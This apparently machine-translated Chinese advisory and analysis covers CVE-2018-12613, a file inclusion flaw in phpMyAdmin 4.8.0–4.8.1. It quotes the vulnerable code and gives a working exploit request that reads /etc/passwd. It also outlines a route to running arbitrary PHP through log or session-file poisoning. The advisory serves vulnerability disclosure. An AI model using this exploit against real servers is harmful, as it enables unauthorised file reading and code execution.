【漏洞预警】PHPMyAdmin 4.8.0〜4.8.1远程执行代码

admin 2018年7月2日03:09:22评论47 views字数 1787阅读5分57秒阅读模式

前言

我在index.phpPMA 4.8.0~4.8.1中发现了一个文件包含漏洞,它被分配了CVE-2018-12613。它是由脆弱路径检查功能中的验证旁路导致的Core::checkPageValidity。此漏洞使经过身份验证的远程攻击者能够在服务器上执行任意PHP代码


漏洞分析

index.php 

if (! empty($_REQUEST['target'])     && is_string($_REQUEST['target'])     && ! preg_match('/^index/', $_REQUEST['target'])     && ! in_array($_REQUEST['target'], $target_blacklist)     && Core::checkPageValidity($_REQUEST['target']) ) {     include $_REQUEST['target'];    exit; }// ...


这个include 过去常常if声明中的条件所保护,但在4.8.0版本中,最后一个检查被改为重用现有的函数,Core::checkPageValidity我认为这个函数是用来检查URL路径的。因此,我们可以利用URL功能来达到任意文件包含。功能如下:

public static function checkPageValidity(&$page, array $whitelist = []){    // ...     $_page = mb_substr(         $page,        0,         mb_strpos($page . '?', '?')     );    // $whitelist == array('db_datadict.php', 'sql.php', ...)     if (in_array($_page, $whitelist)) {        return true;     }    // ...     return false; }

函数?$page后面的所有内容(后面的  所有内容  ?都是查询字符串,它不是URL 路径的一部分)中检查它是否在白名单中。白名单是一个列表:'db_datadict.php', 'sql.php', ...


Attack

现在,由于我们可以完全控制$page,直接来自$_REQUEST['target'],我们可以将其设置为:

$page = 'sql.php?/../../../etc/passwd'


该功能然后执行其检查:

1、剥去一切后  ?,分配'sql.php'给$_page

2、检查$_page,即'sql.php',在白名单中?是

3、通过检查后,回到index.php:

include $_REQUEST['target'];


完整的exp:

GET /index.php?target=sql.php%3f/../../etc/passwd


    tips:

    1、%3f 将被解码并成为 ?

    2、Core::checkPageValidity剥离所有内容 ? 并sql.php在白名单内找到:检查被绕过!

    2、index.php运行include 'sql.php?/../../etc/passwd',PHP的魔术来转换路径  ../etc/passwd,而不检查目录是否sql.php?存在。最后,它包含../etc/passwd成功。


    写exp

    要写这个漏洞,你可以枚举文件路径,如:

    /etc/passwd ../../etc/passwd ../windows/win.ini ../../windows/win.ini

    一旦你找到了..你需要预先设置的数量  ,你可以将你的php有效载荷注入到访问日志中,或者运行一个查询SELECT ‘<?php phpinfo();?>',sql.php并包含你自己的会话文件(例如/var/lib/php5/sess_<PHPSESSID>),它包含你的SQL查询,以执行任意PHP代码。


    参考

    https://www.phpmyadmin.net/security/PMASA-2018-4/

    https://www.securityfocus.com/bid/104532

    https://nvd.nist.gov/vuln/detail/CVE-2018-12613


    本文始发于微信公众号(逢人斗智斗勇):【漏洞预警】PHPMyAdmin 4.8.0〜4.8.1远程执行代码

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2018年7月2日03:09:22
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     【漏洞预警】PHPMyAdmin 4.8.0〜4.8.1远程执行代码http://cn-sec.com/archives/343586.html

    发表评论

    匿名网友 填写信息